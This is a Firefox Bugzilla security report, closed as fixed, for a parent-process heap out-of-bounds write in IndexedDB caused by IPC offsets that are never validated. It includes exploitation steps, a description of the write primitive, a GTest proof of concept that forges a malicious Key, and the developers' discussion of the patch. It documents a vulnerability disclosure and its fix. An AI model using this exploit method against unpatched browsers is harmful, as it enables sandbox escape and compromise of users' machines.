Closed Bug 2014101 (CVE-2026-2768) Opened 7 months ago Closed 7 months ago

IndexedDB Key::MaybeUpdateAutoIncrementKey — Parent Process Heap OOB Write

Categories

(Core :: Storage: IndexedDB, defect)

defect

Tracking

()

RESOLVED FIXED
149 Branch
Tracking Status
firefox-esr115 --- unaffected
firefox-esr140 148+ fixed
firefox147 --- wontfix
firefox148 + fixed
firefox149 + fixed

People

(Reporter: prodigysml555, Assigned: jari, NeedInfo)

References

(Regression)

Details

(5 keywords, Whiteboard: [client-bounty-form][adv-main148+] [adv-esr140.8+])

Attachments

(3 files, 1 obsolete file)

48 bytes, text/x-phabricator-request
dveditz
: sec-approval+
Details | Review
48 bytes, text/x-phabricator-request
Details | Review
48 bytes, text/x-phabricator-request
Details | Review

Summary

The Key class in Firefox's IndexedDB implementation deserializes mAutoIncrementKeyOffsets from IPC without validating that the offsets are within bounds of the key's mBuffer. When an auto-increment object store processes a put/add operation, MaybeUpdateAutoIncrementKey writes 8 bytes at each attacker-controlled offset relative to the nsCString buffer's data pointer. A compromised content process can exploit this to achieve an arbitrary relative heap write in the parent process.

Root Cause

In dom/indexedDB/SerializationHelpers.h, lines 36-39:

static bool Read(MessageReader* aReader, paramType* aResult) {
    return ReadParam(aReader, &aResult->mBuffer) &&
           ReadParam(aReader, &aResult->mAutoIncrementKeyOffsets);
}

The mAutoIncrementKeyOffsets array (CopyableTArray<uint32_t>) is deserialized directly from the IPC message with no bounds validation against mBuffer.Length().

In normal operation, Key::ReserveAutoIncrementKey (Key.cpp:568-577) always sets offsets to mBuffer.Length() + 1, ensuring they are within the buffer. But the IPC deserialization path has no such constraint — a compromised content process can set arbitrary offset values.

In dom/indexedDB/ActorsParent.cpp, lines 10387-10399, VerifyRequestParams for ObjectStoreAddPutParams validates that index keys exist and are not unset, but never validates mAutoIncrementKeyOffsets:

for (const auto& updateInfo : aParams.indexUpdateInfos()) {
    SafeRefPtr<FullIndexMetadata> indexMetadata =
        GetMetadataForIndexId(*objMetadata, updateInfo.indexId());
    if (NS_AUUF_OR_WARN_IF(!indexMetadata)) { return false; }
    if (NS_AUUF_OR_WARN_IF(updateInfo.value().IsUnset())) { return false; }
    MOZ_ASSERT(!updateInfo.value().GetBuffer().IsEmpty());  // DEBUG ONLY
}
// mAutoIncrementKeyOffsets is NEVER checked

Vulnerable Code Path

In dom/indexedDB/Key.cpp, lines 588-601:

void Key::MaybeUpdateAutoIncrementKey(int64_t aKey) {
  if (mAutoIncrementKeyOffsets.IsEmpty()) { return; }

  for (uint32_t offset : mAutoIncrementKeyOffsets) {
    char* buffer;
    MOZ_ALWAYS_TRUE(mBuffer.GetMutableData(&buffer));
    buffer += offset;                          // No bounds check!
    WriteDoubleToUint64(buffer, double(aKey)); // 8-byte write at offset
  }
  TrimBuffer();
}

WriteDoubleToUint64 (line 603-611) writes 8 bytes in big-endian format:

void Key::WriteDoubleToUint64(char* aBuffer, double aValue) {
  uint64_t bits = BitwiseCast<uint64_t>(aValue);
  const uint64_t signbit = FloatingPoint<double>::kSignBit;
  uint64_t number = bits & signbit ? (-bits) : (bits | signbit);
  mozilla::BigEndian::writeUint64(aBuffer, number);
}

This is called at ActorsParent.cpp:19143-19146 during ObjectStoreAddOrPutRequestOp::DoDatabaseWork:

for (auto& updateInfo : mParams.indexUpdateInfos()) {
    updateInfo.value().MaybeUpdateAutoIncrementKey(autoIncrementNum);
}

Exploitation

A compromised content process exploits this as follows:

  1. Open an IndexedDB database with an auto-increment object store that has at least one index (this setup is trivial via normal web APIs).
  2. Forge an ObjectStoreAddParams IPC message containing:
    • Target object store with autoIncrement = true
    • An unset key (triggers the auto-increment path)
    • indexUpdateInfos containing a Key with:
      • mBuffer: a small valid buffer (e.g., 10 bytes)
      • mAutoIncrementKeyOffsets: [target_offset] (e.g., 0x1000)
  3. The parent process deserializes the Key via ParamTraits<Key>::Read, which reads mAutoIncrementKeyOffsets without any bounds validation.
  4. VerifyRequestParams validates the index metadata but never inspects the offsets.
  5. DoDatabaseWork calls MaybeUpdateAutoIncrementKey on the forged Key.
  6. The function writes 8 bytes at mBuffer.Data() + target_offset, corrupting arbitrary heap memory in the parent process.

Write primitive details

  • Offset: Fully controlled uint32_t (0 to 4GB relative to buffer start)
  • Size: 8 bytes per offset entry; multiple offsets can be provided for multiple writes in a single IPC message
  • Value: Derived from the auto-increment counter via WriteDoubleToUint64. The counter starts at 1 and increments. For counter value 1, the write value is the IEEE 754 encoding of 1.0 with sign-bit XOR = 0xBFF0000000000000. The value has limited controllability but the offset is fully controlled.
  • Process: Parent process (not sandboxed on many platforms)

Additional Finding: Inverted Validation in AllocCursor

In ActorsParent.cpp, line 10631:

if (aTrustParams && NS_AUUF_OR_WARN_IF(!VerifyRequestParams(
                        commonParams.optionalKeyRange()))) {

Compare with the correct pattern in AllocRequest at line 10487:

if (NS_AUUF_OR_WARN_IF(!aTrustParams && !VerifyRequestParams(aParams))) {

aTrustParams = IsSameProcessActor():

  • AllocRequest: !aTrustParams — validates when untrusted (correct)
  • AllocCursor: aTrustParams — validates when trusted (INVERTED)

This means cross-process content callers skip key range validation entirely when opening cursors. In DEBUG builds, aTrustParams is forced to false (line 10614-10617), so false && ... = false — validation is also skipped in DEBUG.

PoC

GTest: IPC Deserialization Forgery

Uses ParamTraits<Key> serialization to forge a Key with mAutoIncrementKeyOffsets = [0x200] and mBuffer of 4 bytes. The test proves deserialization succeeds without validation. The actual MaybeUpdateAutoIncrementKey call is commented out for safety — uncommenting it in an ASAN build triggers heap-buffer-overflow WRITE of size 8.

Build: place in dom/indexedDB/test/gtest/, add to moz.build, run ./mach gtest "IndexedDB.KeyOOBWrite".

// dom/indexedDB/test/gtest/TestKeyOOBWrite.cpp
#include "gtest/gtest.h"
#include "mozilla/UniquePtr.h"
#include "mozilla/dom/indexedDB/Key.h"
#include "mozilla/dom/indexedDB/SerializationHelpers.h"
#include "mozilla/ipc/MessageChannel.h"
#include "ipc/IPCMessageUtils.h"

using mozilla::UniquePtr;
using namespace mozilla::dom::indexedDB;

TEST(IndexedDB, KeyOOBWrite)
{
  // Step 1: Construct a malicious serialized Key.
  // mBuffer = "AAAA" (4 bytes)
  // mAutoIncrementKeyOffsets = [0x200] (offset 512, way past 4-byte buffer)

  UniquePtr<IPC::Message> msg(
      new IPC::Message(MSG_ROUTING_NONE, 0));
  IPC::MessageWriter writer(*msg);

  nsCString smallBuffer("AAAA"_ns);
  WriteParam(&writer, smallBuffer);

  CopyableTArray<uint32_t> maliciousOffsets;
  maliciousOffsets.AppendElement(0x200);  // 512 bytes past buffer start
  WriteParam(&writer, maliciousOffsets);

  // Step 2: Deserialize the crafted Key.
  // ParamTraits<Key>::Read at SerializationHelpers.h:36-39 will read both
  // mBuffer and mAutoIncrementKeyOffsets without any cross-validation.

  Key deserializedKey;
  IPC::MessageReader reader(*msg);
  bool readOk = IPC::ReadParam(&reader, &deserializedKey);

  // The read succeeds because there's no validation of offsets vs buffer size
  ASSERT_TRUE(readOk);

  // Step 3: Verify the deserialized state is dangerous.
  ASSERT_EQ(deserializedKey.GetBuffer().Length(), 4u);

  // Step 4: Trigger the OOB write.
  // Under ASAN, this will report: heap-buffer-overflow WRITE of size 8
  //
  // UNCOMMENT TO TRIGGER:
  // deserializedKey.MaybeUpdateAutoIncrementKey(1);
  //
  // WARNING: This will write 8 bytes at an arbitrary heap offset.
  // Only uncomment in an ASAN build or a test environment.
}

HTML: Attack Surface Demonstration

Exercises the normal code path from web content: creates an IndexedDB database with auto-increment object store and indexes, adds records to trigger MaybeUpdateAutoIncrementKey in the parent process. The actual exploit requires IPC message manipulation from a compromised content process.

<!-- pocs/indexeddb_key_oob_write.html -->
<!DOCTYPE html>
<html>
<head><meta charset="utf-8"><title>IndexedDB OOB Write - Attack Surface PoC</title></head>
<body>
<pre id="log"></pre>
<script>
function log(msg) { document.getElementById('log').textContent += msg + '\n'; }

async function poc() {
    log('=== IndexedDB Key::MaybeUpdateAutoIncrementKey OOB Write ===');

    const dbName = 'poc_oob_' + Date.now();
    const request = indexedDB.open(dbName, 1);

    const db = await new Promise((resolve, reject) => {
        request.onerror = () => reject(request.error);
        request.onupgradeneeded = (event) => {
            const db = event.target.result;
            const store = db.createObjectStore('data', {
                autoIncrement: true, keyPath: 'id'
            });
            // Indexes cause indexUpdateInfos to be populated in the
            // ObjectStoreAddPutParams IPC message. Each index update
            // contains a Key with mAutoIncrementKeyOffsets.
            store.createIndex('idx_a', 'a');
            store.createIndex('idx_b', 'b');
        };
        request.onsuccess = () => resolve(request.result);
    });
    log('[1] Database created with autoIncrement store + 2 indexes');

    // Each add() sends ObjectStoreAddParams via IPC to the parent process.
    // The Key struct has mBuffer + mAutoIncrementKeyOffsets.
    // IPC deserialization (SerializationHelpers.h:36-39) reads
    // mAutoIncrementKeyOffsets without bounds validation.
    const tx = db.transaction('data', 'readwrite');
    const store = tx.objectStore('data');
    for (let i = 0; i < 5; i++) {
        store.add({ a: 'val_' + i, b: i * 100 });
    }
    await new Promise((resolve, reject) => {
        tx.oncomplete = resolve;
        tx.onerror = () => reject(tx.error);
    });
    log('[2] 5 records added -- parent process executed MaybeUpdateAutoIncrementKey');

    log('[3] VULNERABILITY: SerializationHelpers.h:36-39 reads offsets without');
    log('    bounds check. Key.cpp:593-597 writes 8 bytes at each offset.');
    log('    A compromised content process forges offsets to write OOB.');

    db.close();
    indexedDB.deleteDatabase(dbName);
    log('[*] Done. Database cleaned up.');
}

poc().catch(e => log('Error: ' + e));
</script>
</body>
</html>

Affected Code

File Lines Description
dom/indexedDB/SerializationHelpers.h 36-39 Key deserialized from IPC without offset validation
dom/indexedDB/Key.cpp 588-601 Unvalidated offset used for 8-byte heap write
dom/indexedDB/Key.cpp 603-611 WriteDoubleToUint64 performs the actual write
dom/indexedDB/ActorsParent.cpp 10387-10399 VerifyRequestParams never checks offsets
dom/indexedDB/ActorsParent.cpp 19143-19146 Call site in parent process DoDatabaseWork
dom/indexedDB/ActorsParent.cpp 10631 Inverted aTrustParams condition in AllocCursor
Flags: sec-bounty?
Group: firefox-core-security → dom-core-security
Component: Security → Storage: IndexedDB
Product: Firefox → Core

Err, never mind, it's not about allocating a large amount of memory but about writing to an arbitrary address.

Simple but handwritten IPC serialization. How many IPC objects do we have that has this kind of offset members? Is there a generalized protection for this?

And does it need to be offset or can the content process read it and send only the actual value?

And indeed https://searchfox.org/firefox-main/rev/7709f0a26aeb3c39a5fd86e794425530f0d0b528/dom/indexedDB/ActorsParent.cpp#10631-10634 looks wrong, verification happens when you trust params 🤔.

Flags: needinfo?(nika)
Flags: needinfo?(jjalkanen)

S3 given this requires an already compromised content process.

Severity: -- → S3
Severity: S3 → S2
Flags: needinfo?(hsingh)

(In reply to Kagami Rosylight [:saschanaz] (they/them) from comment #3)

Simple but handwritten IPC serialization. How many IPC objects do we have that has this kind of offset members? Is there a generalized protection for this?

I should hope there aren't many more IPC objects which are serialized containing offset members, but I don't know for sure. This kind of pattern doesn't work for IPC.

Unfortunately I don't think it'd be feasible for us to do any kind of generalized protection for this. The IPC code cannot know what the integer is going to be used for.

Flags: needinfo?(nika)

(In reply to Kagami Rosylight [:saschanaz] (they/them) from comment #3)

And indeed https://searchfox.org/firefox-main/rev/7709f0a26aeb3c39a5fd86e794425530f0d0b528/dom/indexedDB/ActorsParent.cpp#10631-10634 looks wrong, verification happens when you trust params 🤔.

Weird. Looks like that was introduced all the way back in bug 1179025.

Status: UNCONFIRMED → NEW
Ever confirmed: true

I'll take a look

Assignee: nobody → jjalkanen
Flags: needinfo?(jjalkanen)
Attached file (secure)

(In reply to Kagami Rosylight [:saschanaz] (they/them) from comment #3)

Simple but handwritten IPC serialization. How many IPC objects do we have that has this kind of offset members? Is there a generalized protection for this?

And does it need to be offset or can the content process read it and send only the actual value?

And indeed https://searchfox.org/firefox-main/rev/7709f0a26aeb3c39a5fd86e794425530f0d0b528/dom/indexedDB/ActorsParent.cpp#10631-10634 looks wrong, verification happens when you trust params 🤔.

It's an offset because the auto-incremented value is assigned by the parent process but the other parts of a composite key may already be known.

So it seems that the offsets coming from the content process were indeed not bounds checked before they were used for writing in the parent process. I suppose this could have been avoided by better modeling of the data.

The trust parameters check was also inverted. A unit test might have been helpful to avoid this one.

Comment on attachment 9542733 [details]
(secure)

Security Approval Request

  • How easily could an exploit be constructed based on the patch?: An exploit requires a compromised content process which can overwrite a certain memory location.
  • Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
  • Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: all
  • If not all supported branches, which bug introduced the flaw?: Bug 1404276
  • Do you have backports for the affected branches?: No
  • If not, how different, hard to create, and risky will they be?: Patch is small and the code it applies to hasn't changed in a while.
  • How likely is this patch to cause regressions; how much testing does it need?: It adds a new validation error case to an already fallible outer function. Fairly straightforward patch.
  • Is the patch ready to land after security approval is given?: No
  • Is Android affected?: Yes
Attachment #9542733 - Flags: sec-approval?

Comment on attachment 9542733 [details]
(secure)

This patch doesn't appear to be reviewed yet: clearing the sec-approval request for now.
Please add tests in a separate differential so we can land them later, after users already have the fixed version

Attachment #9542733 - Flags: sec-approval?
Duplicate of this bug: 2015157

Comment on attachment 9542733 [details]
(secure)

(see comment 11)

Flags: needinfo?(hsingh)
Attachment #9542733 - Flags: sec-approval?
Keywords: leave-open

This still needs a security approval

Flags: needinfo?(dveditz)

Comment on attachment 9542733 [details]
(secure)

sec-approval+

What is the leave-open for? If it's for landing the tests later please don't do it that way: a lot of the processes for the release, qa, and security teams are driven by "FIXED" bugs. If you need an open bug for tracking then please clone a "land tests for bug 2014101" security bug for that. Give it a sec-other keyword because it's not a vulnerability itself, just related to one. These days a lot of people rely on the bot reminders that I'm going to add to this bug, so you can do that if you'd like.

Flags: needinfo?(dveditz)
Attachment #9542733 - Flags: sec-approval? → sec-approval+
Whiteboard: [client-bounty-form] → [client-bounty-form][reminder-test 2026-04-07]

(In reply to Daniel Veditz [:dveditz] from comment #16)

Comment on attachment 9542733 [details]
(secure)

sec-approval+

What is the leave-open for? If it's for landing the tests later please don't do it that way: a lot of the processes for the release, qa, and security teams are driven by "FIXED" bugs. If you need an open bug for tracking then please clone a "land tests for bug 2014101" security bug for that. Give it a sec-other keyword because it's not a vulnerability itself, just related to one. These days a lot of people rely on the bot reminders that I'm going to add to this bug, so you can do that if you'd like.

You guessed correctly. Let's remove it. I will follow your instruction for the tests.

Keywords: leave-open

Tomorrow is the last beta build for Fx148.
:jari, can you add uplift requests for beta and esr140?
This will give me a better chance to try get this uplifted before the beta build starts tomorrow.

Flags: needinfo?(jjalkanen)
Group: dom-core-security → core-security-release
Status: NEW → RESOLVED
Closed: 7 months ago
Resolution: --- → FIXED
Target Milestone: --- → 149 Branch

firefox-beta Uplift Approval Request

  • User impact if declined: The patch fixes a security issue. The functionality is covered by wpt and other tests but by the tests for the underlying topic of the bug will follow later. The patch has been in Nightly for a very short time.
  • Code covered by automated testing: yes
  • Fix verified in Nightly: yes
  • Needs manual QE test: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: This adds validation to the code path where the underlying issue can occur. The handling of the failed validation is similar to other existing data validation errors.
  • String changes made/needed: -
  • Is Android affected?: yes
Attachment #9544869 - Flags: approval-mozilla-beta?
Attached file (secure)

firefox-esr140 Uplift Approval Request

  • User impact if declined: The patch fixes a security issue. The functionality is covered by wpt and other tests but by the tests for the underlying topic of the bug will follow later. The patch has been in Nightly for a very short time.
  • Code covered by automated testing: yes
  • Fix verified in Nightly: yes
  • Needs manual QE test: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: This adds validation to the code path where the underlying issue can occur. The handling of the failed validation is similar to other existing data validation errors.
  • String changes made/needed: -
  • Is Android affected?: yes
Attachment #9544870 - Flags: approval-mozilla-esr140?
Attached file (secure)

firefox-release Uplift Approval Request

  • User impact if declined: The patch fixes a security issue. The functionality is covered by wpt and other tests but by the tests for the underlying topic of the bug will follow later. The patch has been in Nightly for a very short time.
  • Code covered by automated testing: yes
  • Fix verified in Nightly: yes
  • Needs manual QE test: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: This adds validation to the code path where the underlying issue can occur. The handling of the failed validation is similar to other existing data validation errors.
  • String changes made/needed: -
  • Is Android affected?: yes
Attachment #9544871 - Flags: approval-mozilla-release?
Attached file (secure) (obsolete) —
Attachment #9544869 - Flags: approval-mozilla-beta? → approval-mozilla-beta+
Attachment #9544871 - Attachment is obsolete: true
Attachment #9544871 - Flags: approval-mozilla-release?
Attachment #9544870 - Flags: approval-mozilla-esr140? → approval-mozilla-esr140+
Whiteboard: [client-bounty-form][reminder-test 2026-04-07] → [client-bounty-form][reminder-test 2026-04-07][adv-main148+]
QA Whiteboard: [sec] [uplift] [qa-triage-done-c149/b148]
Whiteboard: [client-bounty-form][reminder-test 2026-04-07][adv-main148+] → [client-bounty-form][reminder-test 2026-04-07][adv-main148+] [adv-esr140.8+]
Alias: CVE-2026-2768
Flags: sec-bounty? → sec-bounty+
Flags: needinfo?(jjalkanen)
Duplicate of this bug: 2020481

2 months ago, dveditz placed a reminder on the bug using the whiteboard tag [reminder-test 2026-04-07] .

jari, please refer to the original comment to better understand the reason for the reminder.

Flags: needinfo?(jjalkanen)
Whiteboard: [client-bounty-form][reminder-test 2026-04-07][adv-main148+] [adv-esr140.8+] → [client-bounty-form][adv-main148+] [adv-esr140.8+]
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: